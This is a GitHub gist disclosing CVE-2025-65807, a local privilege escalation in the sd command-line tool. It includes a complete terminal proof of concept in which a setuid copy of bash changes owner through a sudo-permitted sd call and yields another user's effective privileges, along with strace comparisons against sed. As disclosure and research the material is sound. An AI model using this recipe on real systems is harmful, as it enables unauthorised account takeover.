Skip to content

Instantly share code, notes, and snippets.

@faabbi
Last active December 28, 2025 10:38
Show Gist options
  • Select an option

  • Save faabbi/827f10e144fdd342e13a3dd838902e83 to your computer and use it in GitHub Desktop.

Select an option

Save faabbi/827f10e144fdd342e13a3dd838902e83 to your computer and use it in GitHub Desktop.
CVE-2025-65807
[CVE-ID]
CVE-2025-65807
[PRODUCT]
chmln/sd command
[VERSION]
sd <=v1.0.0
[PROBLOM TYPE]
Local Privilege Escalation
[DESCRIPTION]
In some cases, using the sd command can allow low-privilege users to elevate to full privileges of high-privilege users.

November 13, 2025

During testing, it was found that executing the sd command changes the group ownership of the source file, whereas the same sed command does not have this vulnerability.

As shown in the diagram, for example, if we have already obtained the system's initial shell during the penetration process, and if we can execute the 'sd' command with a certain user's permissions, we can then use the 'sd' command to escalate to that user's privileges. See the example below.

www-data@Scanner:/tmp/test$ echo 123 > test
www-data@Scanner:/tmp/test$ ls -al
total 12
drwxrwxrwx 2 www-data www-data 4096 Nov 13 04:46 .
drwxrwxrwt 3 root     root     4096 Nov 13 04:25 ..
-rw-rw-rw- 1 www-data www-data    4 Nov 13 04:46 test
www-data@Scanner:/tmp/test$ sudo -l
Matching Defaults entries for www-data on Scanner:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on Scanner:
    (welcome) NOPASSWD: /usr/bin/sd
www-data@Scanner:/tmp/test$ sudo -u welcome sd '' '' test
www-data@Scanner:/tmp/test$ ls -al
total 12
drwxrwxrwx 2 www-data www-data 4096 Nov 13 04:46 .
drwxrwxrwt 3 root     root     4096 Nov 13 04:25 ..
-rw-rw-rw- 1 welcome  welcome     4 Nov 13 04:46 test

You can see that the file's group has changed from www-data to welcome, and all file permissions, including the setuid bit, are fully retained.

So we can set the SUID bit on files owned by the group for low-privilege users, and then use the 'sd' command to change the file's group, causing a privilege escalation vulnerability.

www-data@Scanner:/tmp/test$ cp /bin/bash ./bash1
www-data@Scanner:/tmp/test$ ls -al
total 1152
drwxrwxrwx 2 www-data www-data    4096 Nov 13 04:48 .
drwxrwxrwt 3 root     root        4096 Nov 13 04:25 ..
-rwxr-xr-x 1 www-data www-data 1168776 Nov 13 04:48 bash1
www-data@Scanner:/tmp/test$ chmod a+s bash1
www-data@Scanner:/tmp/test$ ls -al
total 1152
drwxrwxrwx 2 www-data www-data    4096 Nov 13 04:48 .
drwxrwxrwt 3 root     root        4096 Nov 13 04:25 ..
-rwsr-sr-x 1 www-data www-data 1168776 Nov 13 04:48 bash1
www-data@Scanner:/tmp/test$ sudo -u welcome sd '' '' bash1
www-data@Scanner:/tmp/test$ ls -al
total 1152
drwxrwxrwx 2 www-data www-data    4096 Nov 13 04:48 .
drwxrwxrwt 3 root     root        4096 Nov 13 04:25 ..
-rwsr-sr-x 1 welcome  welcome  1168776 Nov 13 04:48 bash1
www-data@Scanner:/tmp/test$ ./bash1 -p
bash1-5.0$ id
uid=33(www-data) gid=33(www-data) euid=1000(welcome) egid=1000(welcome) groups=1000(welcome),33(www-data)

It can be seen that the privilege has now been elevated to 'welcome'.

This type of privilege escalation currently works successfully in the bash environment, but not in the zsh environment.

In most cases, using a command as a specified user does not change the original file's group ownership. Even if the command changes the file's group, the original file's setuid bit will be replaced by the execute permission.However, the sd command has this vulnerability-generating characteristic.

Here, I would like to thank Germano0 for performing library tracing to explain why its sd changes the file group while retaining the s-bit.

https://github.com/Germano0

sed

user@machine:~/sed$ strace -f -o /tmp/sed.trace sed -i 's/1/0/g' foo.txt
user@machine:~/sed$ grep -E 'rename|renameat|openat|O_TRUNC|mkstemp|\.tmp|unlink|fchown|fchmod' /tmp/sed.trace
1495752 openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
1495752 openat(AT_FDCWD, "/lib64/libacl.so.1", O_RDONLY|O_CLOEXEC) = 3
1495752 openat(AT_FDCWD, "/lib64/libselinux.so.1", O_RDONLY|O_CLOEXEC) = 3
1495752 openat(AT_FDCWD, "/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
1495752 openat(AT_FDCWD, "/lib64/libattr.so.1", O_RDONLY|O_CLOEXEC) = 3
1495752 openat(AT_FDCWD, "/lib64/libpcre2-8.so.0", O_RDONLY|O_CLOEXEC) = 3
1495752 openat(AT_FDCWD, "/usr/lib/locale/locale-archive", O_RDONLY|O_CLOEXEC) = 3
1495752 openat(AT_FDCWD, "/usr/lib64/gconv/gconv-modules.cache", O_RDONLY|O_CLOEXEC) = 3
1495752 openat(AT_FDCWD, "foo.txt", O_RDONLY) = 3
1495752 openat(AT_FDCWD, "/proc/thread-self/attr/fscreate", O_RDONLY|O_CLOEXEC) = 4
1495752 openat(AT_FDCWD, "/proc/thread-self/attr/fscreate", O_RDWR|O_CLOEXEC) = 4
1495752 openat(AT_FDCWD, "./sed0GkUFc", O_RDWR|O_CREAT|O_EXCL, 0600) = 4
1495752 openat(AT_FDCWD, "/proc/thread-self/attr/fscreate", O_RDWR|O_CLOEXEC) = 5
1495752 fchown(4, 1000, 1000)           = 0
1495752 rename("./sed0GkUFc", "foo.txt") = 0

sd

user@machine:~/sd$ strace -f -o /tmp/sd.trace sd '1' '0' foo.txt
user@machine:~/sd$ grep -E 'rename|renameat|openat|O_TRUNC|mkstemp|\.tmp|unlink|fchown|fchmod' /tmp/sd.trace
1496567 openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
1496567 openat(AT_FDCWD, "/lib64/libgcc_s.so.1", O_RDONLY|O_CLOEXEC) = 3
1496567 openat(AT_FDCWD, "/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
1496567 openat(AT_FDCWD, "/proc/self/maps", O_RDONLY|O_CLOEXEC) = 3
1496567 openat(AT_FDCWD, "/proc/self/cgroup", O_RDONLY|O_CLOEXEC) = 3
1496567 openat(AT_FDCWD, "/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service/app.slice/app-org.kde.yakuake-10321.scope/tab(12337).scope/cpu.max", O_RDONLY|O_CLOEXEC) = 3
1496567 openat(AT_FDCWD, "/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service/app.slice/app-org.kde.yakuake-10321.scope/cpu.max", O_RDONLY|O_CLOEXEC) = 3
1496567 openat(AT_FDCWD, "/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service/app.slice/cpu.max", O_RDONLY|O_CLOEXEC) = 3
1496567 openat(AT_FDCWD, "/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service/cpu.max", O_RDONLY|O_CLOEXEC) = 3
1496567 openat(AT_FDCWD, "/sys/fs/cgroup/user.slice/user-1000.slice/cpu.max", O_RDONLY|O_CLOEXEC) = 3
1496567 openat(AT_FDCWD, "/sys/fs/cgroup/user.slice/cpu.max", O_RDONLY|O_CLOEXEC) = 3
1496567 openat(AT_FDCWD, "/sys/fs/cgroup/cpu.max", O_RDONLY|O_CLOEXEC) = -1 ENOENT (File o directory non esistente)
1496577 openat(AT_FDCWD, "/sys/devices/system/cpu/online", O_RDONLY|O_CLOEXEC <unfinished ...>
1496577 <... openat resumed>)           = 3
1496567 openat(AT_FDCWD, "foo.txt", O_RDONLY|O_CLOEXEC <unfinished ...>
1496567 <... openat resumed>)           = 3
1496567 openat(AT_FDCWD, "foo.txt", O_RDONLY|O_CLOEXEC <unfinished ...>
1496567 <... openat resumed>)           = 3
1496567 openat(AT_FDCWD, "/home/user/sd/.tmp8EbJhK", O_RDWR|O_CREAT|O_EXCL|O_CLOEXEC, 0600 <unfinished ...>
1496567 <... openat resumed>)           = 4
1496567 fchmod(4, 0100644 <unfinished ...>
1496567 <... fchmod resumed>)           = 0
1496567 renameat(AT_FDCWD, "/home/user/sd/.tmp8EbJhK", AT_FDCWD, "/home/user/sd/foo.txt" <unfinished ...>
1496567 <... renameat resumed>)         = 0
user@machine:~/sd$ 
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment